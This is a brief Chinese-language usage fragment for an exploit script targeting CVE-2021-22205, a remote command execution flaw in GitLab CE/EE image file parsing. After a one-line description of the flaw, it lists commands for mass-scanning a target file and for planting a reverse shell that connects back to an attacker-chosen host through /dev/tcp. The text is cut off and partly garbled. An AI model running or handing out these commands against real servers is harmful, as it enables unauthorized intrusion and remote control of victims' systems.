CVE-2021-22205

漏洞影响 GitLab CE/EE 自 11.9 版本起的所有版本中发现了一个问题。GitLab 未正确验证传递给文件解析器的图像文件，导致远程命令执行。 受影响产品 Gitlab CE/EE /tmp/1.txt" 批量扫描 python3 CVE-2021-2205.py -s true -f target.txt 反弹 Shell python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port 0&1' /tmp/1.sh" python3...